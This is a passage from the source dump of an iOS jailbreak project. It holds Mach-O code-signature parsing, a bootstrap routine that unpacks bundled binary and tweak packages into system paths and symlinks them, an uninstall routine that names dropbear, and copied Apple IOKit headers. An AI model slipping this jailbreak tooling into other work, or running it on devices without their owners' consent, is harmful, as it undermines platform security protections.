106 | ncmds = mh64->ncmds;
107 | break;
108 | }
109 |
110 | arch_off += arch_size;
111 | arch = load_bytes(fd, arch_off, arch_size);
112 | }
113 |
114 | if (!foundarm64) { // by the end of the day there's no arm64 found
115 | printf("[-] No arm64? RIP\n");
116 | fclose(fd);
117 | return NULL;
118 | }
119 | }
120 | else {
121 | printf("[-] %s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic);
122 | fclose(fd);
123 | return NULL;
124 | }
125 |
126 | for (int i = 0; i < ncmds; i++) {
127 | struct load_command cmd;
128 | fseek(fd, off, SEEK_SET);
129 | fread(&cmd, sizeof(struct load_command), 1, fd);
130 | if (cmd.cmd == LC_CODE_SIGNATURE) {
131 | uint32_t off_cs;
132 | fread(&off_cs, sizeof(uint32_t), 1, fd);
133 | uint32_t size_cs;
134 | fread(&size_cs, sizeof(uint32_t), 1, fd);
135 |
136 | uint8_t *cd = malloc(size_cs);
137 | fseek(fd, off_cs + file_off, SEEK_SET);
138 | fread(cd, size_cs, 1, fd);
139 | fclose(fd);
140 | return cd;
141 | } else {
142 | off += cmd.cmdsize;
143 | }
144 | }
145 | fclose(fd);
146 | return NULL;
147 | }
148 |
149 | //from xerub
150 | int strtail(const char *str, const char *tail)
151 | {
152 | size_t lstr = strlen(str);
153 | size_t ltail = strlen(tail);
154 | if (ltail > lstr) {
155 | return -1;
156 | }
157 | str += lstr - ltail;
158 | return memcmp(str, tail, ltail);
159 | }
160 |
161 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/bootstrap.h:
--------------------------------------------------------------------------------
1 | void createSymlinks(void);
2 | void uninstall(void);
3 | int bootstrap(void);
4 |
5 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/bootstrap.m:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #include
9 | #include
10 |
11 | #include "jelbrek.h"
12 | #include "shell.h"
13 | #include "libjb.h"
14 |
15 | int bootstrap() {
16 | NSLog(@"Installing bootstrap...");
17 |
18 | chdir("/var/containers/Bundle/");
19 |
20 | FILE *bootstrap = fopen((char*)[[[[NSBundle mainBundle] bundlePath] stringByAppendingString:@"/iosbinpack.tar"] UTF8String], "r");
21 | untar(bootstrap, "/var/containers/Bundle/");
22 | fclose(bootstrap);
23 |
24 | FILE *tweaks = fopen((char*)[[[[NSBundle mainBundle] bundlePath] stringByAppendingString:@"/tweaksupport.tar"] UTF8String], "r");
25 | untar(tweaks, "/var/containers/Bundle/");
26 | fclose(tweaks);
27 |
28 | if (![[NSFileManager defaultManager] fileExistsAtPath:@"/var/containers/Bundle/tweaksupport"] || ![[NSFileManager defaultManager] fileExistsAtPath:@"/var/containers/Bundle/iosbinpack64"]) return -1;
29 | return 0;
30 | }
31 |
32 | void createSymlinks() {
33 | NSLog(@"Symlinking stuff...");
34 | NSString *LIB = @"/var/containers/Bundle/tweaksupport/Library";
35 | NSString *ulib = @"/var/containers/Bundle/tweaksupport/usr/lib";
36 | NSString *bin = @"/var/containers/Bundle/tweaksupport/bin";
37 | NSString *sbin = @"/var/containers/Bundle/tweaksupport/sbin";
38 |
39 | symlink((char*)[LIB UTF8String], "/var/LIB");
40 | symlink((char*)[ulib UTF8String], "/var/ulb");
41 | symlink((char*)[bin UTF8String], "/var/bin");
42 | symlink((char*)[sbin UTF8String], "/var/sbin");
43 | }
44 |
45 |
46 | void uninstall() {
47 | NSLog(@"Uninstalling...");
48 |
49 | NSFileManager *fm = [NSFileManager defaultManager];
50 | [fm removeItemAtPath:@"/var/LIB" error:nil];
51 | [fm removeItemAtPath:@"/var/ulb" error:nil];
52 | [fm removeItemAtPath:@"/var/bin" error:nil];
53 | [fm removeItemAtPath:@"/var/sbin" error:nil];
54 | [fm removeItemAtPath:@"/var/profile" error:nil];
55 | [fm removeItemAtPath:@"/var/motd" error:nil];
56 | [fm removeItemAtPath:@"/var/dropbear" error:nil];
57 | [fm removeItemAtPath:@"/var/containers/Bundle/tweaksupport" error:nil];
58 | [fm removeItemAtPath:@"/var/containers/Bundle/iosbinpack64" error:nil];
59 | [fm removeItemAtPath:@"/var/containers/Bundle/dylibs" error:nil];
60 | [fm removeItemAtPath:@"/var/log/testbin.log" error:nil];
61 | [fm removeItemAtPath:@"/var/log/jailbreakd-stdout.log" error:nil];
62 | [fm removeItemAtPath:@"/var/log/jailbreakd-stderr.log" error:nil];
63 | }
64 |
65 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/include/IOKit/IOKitKeys.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. The rights granted to you under the License
10 | * may not be used to create, or enable the creation or redistribution of,
11 | * unlawful or unlicensed copies of an Apple operating system, or to
12 | * circumvent, violate, or enable the circumvention or violation of, any
13 | * terms of an Apple operating system software license agreement.
14 | *
15 | * Please obtain a copy of the License at
16 | * http://www.opensource.apple.com/apsl/ and read it before using this file.
17 | *
18 | * The Original Code and all software distributed under the License are
19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
23 | * Please see the License for the specific language governing rights and
24 | * limitations under the License.
25 | *
26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
27 | */
28 | /*
29 | * Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
30 | *
31 | * Common symbol definitions for IOKit.
32 | *
33 | * HISTORY
34 | *
35 | */
36 |
37 |
38 | #ifndef _IOKIT_IOKITKEYS_H
39 | #define _IOKIT_IOKITKEYS_H
40 |
41 | // properties found in the registry root
42 | #define kIOKitBuildVersionKey "IOKitBuildVersion"
43 | #define kIOKitDiagnosticsKey "IOKitDiagnostics"
44 | // a dictionary keyed by plane name
45 | #define kIORegistryPlanesKey "IORegistryPlanes"
46 | #define kIOCatalogueKey "IOCatalogue"
47 |
48 | // registry plane names
49 | #define kIOServicePlane "IOService"
50 | #define kIOPowerPlane "IOPower"
51 | #define kIODeviceTreePlane "IODeviceTree"
52 | #define kIOAudioPlane "IOAudio"
53 | #define kIOFireWirePlane "IOFireWire"
54 | #define kIOUSBPlane "IOUSB"
55 |
56 | // registry ID number
57 | #define kIORegistryEntryIDKey "IORegistryEntryID"
58 |
59 | // IOService class name
60 | #define kIOServiceClass "IOService"
61 |
62 | // IOResources class name
63 | #define kIOResourcesClass "IOResources"
64 |
65 | // IOService driver probing property names
66 | #define kIOClassKey "IOClass"
67 | #define kIOProbeScoreKey "IOProbeScore"
68 | #define kIOKitDebugKey "IOKitDebug"
69 |
70 | // IOService matching property names
71 | #define kIOProviderClassKey "IOProviderClass"
72 | #define kIONameMatchKey "IONameMatch"
73 | #define kIOPropertyMatchKey "IOPropertyMatch"
74 | #define kIOPathMatchKey "IOPathMatch"
75 | #define kIOLocationMatchKey "IOLocationMatch"
76 | #define kIOParentMatchKey "IOParentMatch"
77 | #define kIOResourceMatchKey "IOResourceMatch"
78 | #define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch"
79 |
80 | #define kIONameMatchedKey "IONameMatched"
81 |
82 | #define kIOMatchCategoryKey "IOMatchCategory"
83 | #define kIODefaultMatchCategoryKey "IODefaultMatchCategory"
84 |
85 | // IOService default user client class, for loadable user clients
86 | #define kIOUserClientClassKey "IOUserClientClass"
87 |
88 | // key to find IOMappers
89 | #define kIOMapperIDKey "IOMapperID"
90 |
91 | #define kIOUserClientCrossEndianKey "IOUserClientCrossEndian"
92 | #define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible"
93 | #define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance"
94 | // diagnostic string describing the creating task
95 | #define kIOUserClientCreatorKey "IOUserClientCreator"
96 |
97 | // IOService notification types
98 | #define kIOPublishNotification "IOServicePublish"
99 | #define kIOFirstPublishNotification "IOServiceFirstPublish"
100 | #define kIOMatchedNotification "IOServiceMatched"
101 | #define kIOFirstMatchNotification "IOServiceFirstMatch"
102 | #define kIOTerminatedNotification "IOServiceTerminate"
103 |
104 | // IOService interest notification types
105 | #define kIOGeneralInterest "IOGeneralInterest"
106 | #define kIOBusyInterest "IOBusyInterest"
107 | #define kIOAppPowerStateInterest "IOAppPowerStateInterest"
108 | #define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest"
109 |
110 | #define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage"
111 |
112 | // IOService interest notification types
113 | #define kIOCFPlugInTypesKey "IOCFPlugInTypes"
114 |
115 | // properties found in services that implement command pooling
116 | #define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber)
117 |
118 | // properties found in services that have transfer constraints
119 | #define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber)
120 | #define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber)
121 | #define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber)
122 | #define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber)
123 | #define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber)
124 | #define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber)
125 | #define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber)
126 | #define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber)
127 | #define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber)
128 | #define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber)
129 |
130 | // properties found in services that wish to describe an icon
131 | //
132 | // IOIcon =
133 | // {
134 | // CFBundleIdentifier = "com.example.driver.example";
135 | // IOBundleResourceFile = "example.icns";
136 | // };
137 | //
138 | // where IOBundleResourceFile is the filename of the resource
139 |
140 | #define kIOIconKey "IOIcon" // (OSDictionary)
141 | #define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString)
142 |
143 | #define kIOBusBadgeKey "IOBusBadge" // (OSDictionary)
144 | #define kIODeviceIconKey "IODeviceIcon" // (OSDictionary)
145 |
146 | // property of root that describes the machine's serial number as a string
147 | #define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString)
148 |
149 | // property of root that describes the machine's UUID as a string
150 | #define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString)
151 |
152 | // IODTNVRAM property keys
153 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
154 | #define kIODTNVRAMPanicInfoKey "aapl,panic-info"
155 |
156 | // keys for complex boot information
157 | #define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts
158 | #define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString
159 | #define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes
160 |
161 | // keys for OS Version information
162 | #define kOSBuildVersionKey "OS Build Version"
163 |
164 | #endif /* ! _IOKIT_IOKITKEYS_H */
165 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/include/IOKit/IOReturn.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. The rights granted to you under the License
10 | * may not be used to create, or enable the creation or redistribution of,
11 | * unlawful or unlicensed copies of an Apple operating system, or to
12 | * circumvent, violate, or enable the circumvention or violation of, any
13 | * terms of an Apple operating system software license agreement.
14 | *
15 | * Please obtain a copy of the License at
16 | * http://www.opensource.apple.com/apsl/ and read it before using this file.
17 | *
18 | * The Original Code and all software distributed under the License are
19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
23 | * Please see the License for the specific language governing rights and
24 | * limitations under the License.
25 | *
26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
27 | */
28 | /*
29 | * HISTORY
30 | */
31 |
32 | /*
33 | * Core IOReturn values. Others may be family defined.
34 | */
35 |
36 | #ifndef __IOKIT_IORETURN_H
37 | #define __IOKIT_IORETURN_H
38 |
39 | #ifdef __cplusplus
40 | extern "C" {
41 | #endif
42 |
43 | #include
44 |
45 | typedef kern_return_t IOReturn;
46 |
47 | #ifndef sys_iokit
48 | #define sys_iokit err_system(0x38)
49 | #endif /* sys_iokit */
50 | #define sub_iokit_common err_sub(0)
51 | #define sub_iokit_usb err_sub(1)
52 | #define sub_iokit_firewire err_sub(2)
53 | #define sub_iokit_block_storage err_sub(4)
54 | #define sub_iokit_graphics err_sub(5)
55 | #define sub_iokit_networking err_sub(6)
56 | #define sub_iokit_bluetooth err_sub(8)
57 | #define sub_iokit_pmu err_sub(9)
58 | #define sub_iokit_acpi err_sub(10)
59 | #define sub_iokit_smbus err_sub(11)
60 | #define sub_iokit_ahci err_sub(12)
61 | #define sub_iokit_powermanagement err_sub(13)
62 | //#define sub_iokit_hidsystem err_sub(14)
63 | #define sub_iokit_scsi err_sub(16)
64 | //#define sub_iokit_pccard err_sub(21)
65 |
66 | #define sub_iokit_vendor_specific err_sub(-2)
67 | #define sub_iokit_reserved err_sub(-1)
68 |
69 | #define iokit_common_err(return) (sys_iokit|sub_iokit_common|return)
70 | #define iokit_family_err(sub,return) (sys_iokit|sub|return)
71 | #define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return)
72 |
73 | #define kIOReturnSuccess KERN_SUCCESS // OK
74 | #define kIOReturnError iokit_common_err(0x2bc) // general error
75 | #define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory
76 | #define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage
77 | #define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC
78 | #define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device
79 | #define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation
80 | #define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument
81 | #define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked
82 | #define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked
83 | #define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and
84 | // device already open
85 | #define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages
86 | // had different msg_id
87 | #define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function
88 | #define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure
89 | #define kIOReturnInternalError iokit_common_err(0x2c9) // internal error
90 | #define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error
91 | //#define kIOReturn???Error iokit_common_err(0x2cb) // ???
92 | #define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock
93 | #define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open
94 | #define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported
95 | #define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported
96 | #define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error
97 | #define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error
98 | #define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open
99 | #define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure
100 | #define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure
101 | #define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy
102 | #define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout
103 | #define kIOReturnOffline iokit_common_err(0x2d7) // device offline
104 | #define kIOReturnNotReady iokit_common_err(0x2d8) // not ready
105 | #define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached
106 | #define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left
107 | #define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data
108 | //#define kIOReturn???Error iokit_common_err(0x2dc) // ???
109 | #define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists
110 | #define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down
111 | // physical memory
112 | #define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached
113 | #define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued
114 | #define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received
115 | // on interrupt port
116 | #define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted
117 | #define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device
118 | #define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present
119 | #define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted
120 | #define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode
121 | #define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun
122 | #define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun
123 | #define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly!
124 | #define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required
125 | #define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted
126 | #define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded
127 | #define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding
128 | #define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past!
129 | #define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future
130 | #define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found
131 | #define kIOReturnInvalid iokit_common_err(0x1) // should never be seen
132 |
133 | #ifdef __cplusplus
134 | }
135 | #endif
136 |
137 | #endif /* ! __IOKIT_IORETURN_H */
138 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/include/IOKit/IOTypes.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. The rights granted to you under the License
10 | * may not be used to create, or enable the creation or redistribution of,
11 | * unlawful or unlicensed copies of an Apple operating system, or to
12 | * circumvent, violate, or enable the circumvention or violation of, any
13 | * terms of an Apple operating system software license agreement.
14 | *
15 | * Please obtain a copy of the License at
16 | * http://www.opensource.apple.com/apsl/ and read it before using this file.
17 | *
18 | * The Original Code and all software distributed under the License are
19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
23 | * Please see the License for the specific language governing rights and
24 | * limitations under the License.
25 | *
26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
27 | */
28 | #ifndef __IOKIT_IOTYPES_H
29 | #define __IOKIT_IOTYPES_H
30 |
31 | #ifndef IOKIT
32 | #define IOKIT 1
33 | #endif /* !IOKIT */
34 |
35 | #if KERNEL
36 | #include
37 | #else
38 | #include
39 | #include
40 | #endif
41 |
42 | #include "IOReturn.h"
43 |
44 | #ifdef __cplusplus
45 | extern "C" {
46 | #endif
47 |
48 | #ifndef NULL
49 | #if defined (__cplusplus)
50 | #define NULL 0
51 | #else
52 | #define NULL ((void *)0)
53 | #endif
54 | #endif
55 |
56 | /*
57 | * Simple data types.
58 | */
59 | #ifndef __MACTYPES__ /* CF MacTypes.h */
60 | #ifndef __TYPES__ /* guess... Mac Types.h */
61 |
62 | #include
63 | #include
64 |
65 | #endif /* __TYPES__ */
66 | #endif /* __MACTYPES__ */
67 |
68 | #if KERNEL
69 | #include
70 | #endif
71 |
72 | typedef UInt32 IOOptionBits;
73 | typedef SInt32 IOFixed;
74 | typedef UInt32 IOVersion;
75 | typedef UInt32 IOItemCount;
76 | typedef UInt32 IOCacheMode;
77 |
78 | typedef UInt32 IOByteCount32;
79 | typedef UInt64 IOByteCount64;
80 |
81 | typedef UInt32 IOPhysicalAddress32;
82 | typedef UInt64 IOPhysicalAddress64;
83 | typedef UInt32 IOPhysicalLength32;
84 | typedef UInt64 IOPhysicalLength64;
85 |
86 | #ifdef __LP64__
87 | typedef mach_vm_address_t IOVirtualAddress;
88 | #else
89 | typedef vm_address_t IOVirtualAddress;
90 | #endif
91 |
92 | #if defined(__LP64__) && defined(KERNEL)
93 | typedef IOByteCount64 IOByteCount;
94 | #else
95 | typedef IOByteCount32 IOByteCount;
96 | #endif
97 |
98 | typedef IOVirtualAddress IOLogicalAddress;
99 |
100 | #if defined(__LP64__) && defined(KERNEL)
101 |
102 | typedef IOPhysicalAddress64 IOPhysicalAddress;
103 | typedef IOPhysicalLength64 IOPhysicalLength;
104 | #define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32))
105 | #define IOPhysSize 64
106 |
107 | #else
108 |
109 | typedef IOPhysicalAddress32 IOPhysicalAddress;
110 | typedef IOPhysicalLength32 IOPhysicalLength;
111 | #define IOPhysical32( hi, lo ) (lo)
112 | #define IOPhysSize 32
113 |
114 | #endif
115 |
116 |
117 | typedef struct
118 | {
119 | IOPhysicalAddress address;
120 | IOByteCount length;
121 | } IOPhysicalRange;
122 |
123 | typedef struct
124 | {
125 | IOVirtualAddress address;
126 | IOByteCount length;
127 | } IOVirtualRange;
128 |
129 | #ifdef __LP64__
130 | typedef IOVirtualRange IOAddressRange;
131 | #else /* !__LP64__ */
132 | typedef struct
133 | {
134 | mach_vm_address_t address;
135 | mach_vm_size_t length;
136 | } IOAddressRange;
137 | #endif /* !__LP64__ */
138 |
139 | /*
140 | * Map between #defined or enum'd constants and text description.
141 | */
142 | typedef struct {
143 | int value;
144 | const char *name;
145 | } IONamedValue;
146 |
147 |
148 | /*
149 | * Memory alignment -- specified as a power of two.
150 | */
151 | typedef unsigned int IOAlignment;
152 |
153 | #define IO_NULL_VM_TASK ((vm_task_t)0)
154 |
155 |
156 | /*
157 | * Pull in machine specific stuff.
158 | */
159 |
160 | //#include
161 |
162 | #ifndef MACH_KERNEL
163 |
164 | #ifndef __IOKIT_PORTS_DEFINED__
165 | #define __IOKIT_PORTS_DEFINED__
166 | #ifdef KERNEL
167 | typedef struct OSObject * io_object_t;
168 | #else /* KERNEL */
169 | typedef mach_port_t io_object_t;
170 | #endif /* KERNEL */
171 | #endif /* __IOKIT_PORTS_DEFINED__ */
172 |
173 | #include
174 |
175 | typedef io_object_t io_connect_t;
176 | typedef io_object_t io_enumerator_t;
177 | typedef io_object_t io_iterator_t;
178 | typedef io_object_t io_registry_entry_t;
179 | typedef io_object_t io_service_t;
180 |
181 | #define IO_OBJECT_NULL ((io_object_t) 0)
182 |
183 | #endif /* MACH_KERNEL */
184 |
185 | // IOConnectMapMemory memoryTypes
186 | enum {
187 | kIODefaultMemoryType = 0
188 | };
189 |
190 | enum {
191 | kIODefaultCache = 0,
192 | kIOInhibitCache = 1,
193 | kIOWriteThruCache = 2,
194 | kIOCopybackCache = 3,
195 | kIOWriteCombineCache = 4
196 | };
197 |
198 | // IOMemory mapping options
199 | enum {
200 | kIOMapAnywhere = 0x00000001,
201 |
202 | kIOMapCacheMask = 0x00000700,
203 | kIOMapCacheShift = 8,
204 | kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift,
205 | kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift,
206 | kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift,
207 | kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift,
208 | kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift,
209 |
210 | kIOMapUserOptionsMask = 0x00000fff,
211 |
212 | kIOMapReadOnly = 0x00001000,
213 |
214 | kIOMapStatic = 0x01000000,
215 | kIOMapReference = 0x02000000,
216 | kIOMapUnique = 0x04000000
217 | #ifdef XNU_KERNEL_PRIVATE
218 | , kIOMap64Bit = 0x08000000
219 | #endif
220 | };
221 |
222 | /*! @enum Scale Factors
223 | @discussion Used when a scale_factor parameter is required to define a unit of time.
224 | @constant kNanosecondScale Scale factor for nanosecond based times.
225 | @constant kMicrosecondScale Scale factor for microsecond based times.
226 | @constant kMillisecondScale Scale factor for millisecond based times.
227 | @constant kTickScale Scale factor for the standard (100Hz) tick.
228 | @constant kSecondScale Scale factor for second based times. */
229 |
230 | enum {
231 | kNanosecondScale = 1,
232 | kMicrosecondScale = 1000,
233 | kMillisecondScale = 1000 * 1000,
234 | kSecondScale = 1000 * 1000 * 1000,
235 | kTickScale = (kSecondScale / 100)
236 | };
237 |
238 | /* compatibility types */
239 |
240 | #ifndef KERNEL
241 |
242 | typedef unsigned int IODeviceNumber;
243 |
244 | #endif
245 |
246 | #ifdef __cplusplus
247 | }
248 | #endif
249 |
250 | #endif /* ! __IOKIT_IOTYPES_H */
251 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/include/IOKit/OSMessageNotification.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. Please obtain a copy of the License at
10 | * http://www.opensource.apple.com/apsl/ and read it before using this
11 | * file.
12 | *
13 | * The Original Code and all software distributed under the License are
14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
18 | * Please see the License for the specific language governing rights and
19 | * limitations under the License.
20 | *
21 | * @APPLE_LICENSE_HEADER_END@
22 | */
23 | /*
24 | * Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
25 | *
26 | * HISTORY
27 | *
28 | */
29 |
30 | #ifndef __OS_OSMESSAGENOTIFICATION_H
31 | #define __OS_OSMESSAGENOTIFICATION_H
32 |
33 | #ifdef __cplusplus
34 | extern "C" {
35 | #endif
36 |
37 | #include
38 | #include "IOReturn.h"
39 |
40 | enum {
41 | kFirstIOKitNotificationType = 100,
42 | kIOServicePublishNotificationType = 100,
43 | kIOServiceMatchedNotificationType = 101,
44 | kIOServiceTerminatedNotificationType = 102,
45 | kIOAsyncCompletionNotificationType = 150,
46 | kIOServiceMessageNotificationType = 160,
47 | kLastIOKitNotificationType = 199
48 | };
49 |
50 | enum {
51 | kOSNotificationMessageID = 53,
52 | kOSAsyncCompleteMessageID = 57,
53 | kMaxAsyncArgs = 16
54 | };
55 |
56 | enum {
57 | kIOAsyncReservedIndex = 0,
58 | kIOAsyncReservedCount,
59 |
60 | kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount,
61 | kIOAsyncCalloutRefconIndex,
62 | kIOAsyncCalloutCount,
63 |
64 | kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount,
65 | kIOMatchingCalloutRefconIndex,
66 | kIOMatchingCalloutCount,
67 |
68 | kIOInterestCalloutFuncIndex = kIOAsyncReservedCount,
69 | kIOInterestCalloutRefconIndex,
70 | kIOInterestCalloutServiceIndex,
71 | kIOInterestCalloutCount
72 | };
73 |
74 | enum {
75 | kOSAsyncRefCount = 8,
76 | kOSAsyncRefSize = 32
77 | };
78 | typedef natural_t OSAsyncReference[kOSAsyncRefCount];
79 |
80 | struct OSNotificationHeader {
81 | vm_size_t size; /* content size */
82 | natural_t type;
83 | OSAsyncReference reference;
84 |
85 | #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
86 | unsigned char content[];
87 | #else
88 | unsigned char content[0];
89 | #endif
90 | };
91 |
92 | struct IOServiceInterestContent {
93 | natural_t messageType;
94 | void * messageArgument[1];
95 | };
96 |
97 | struct IOAsyncCompletionContent {
98 | IOReturn result;
99 | #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
100 | void * args[];
101 | #else
102 | void * args[0];
103 | #endif
104 | };
105 |
106 | #ifndef __cplusplus
107 | typedef struct OSNotificationHeader OSNotificationHeader;
108 | typedef struct IOServiceInterestContent IOServiceInterestContent;
109 | typedef struct IOAsyncCompletionContent IOAsyncCompletionContent;
110 | #endif
111 |
112 | #ifdef __cplusplus
113 | }
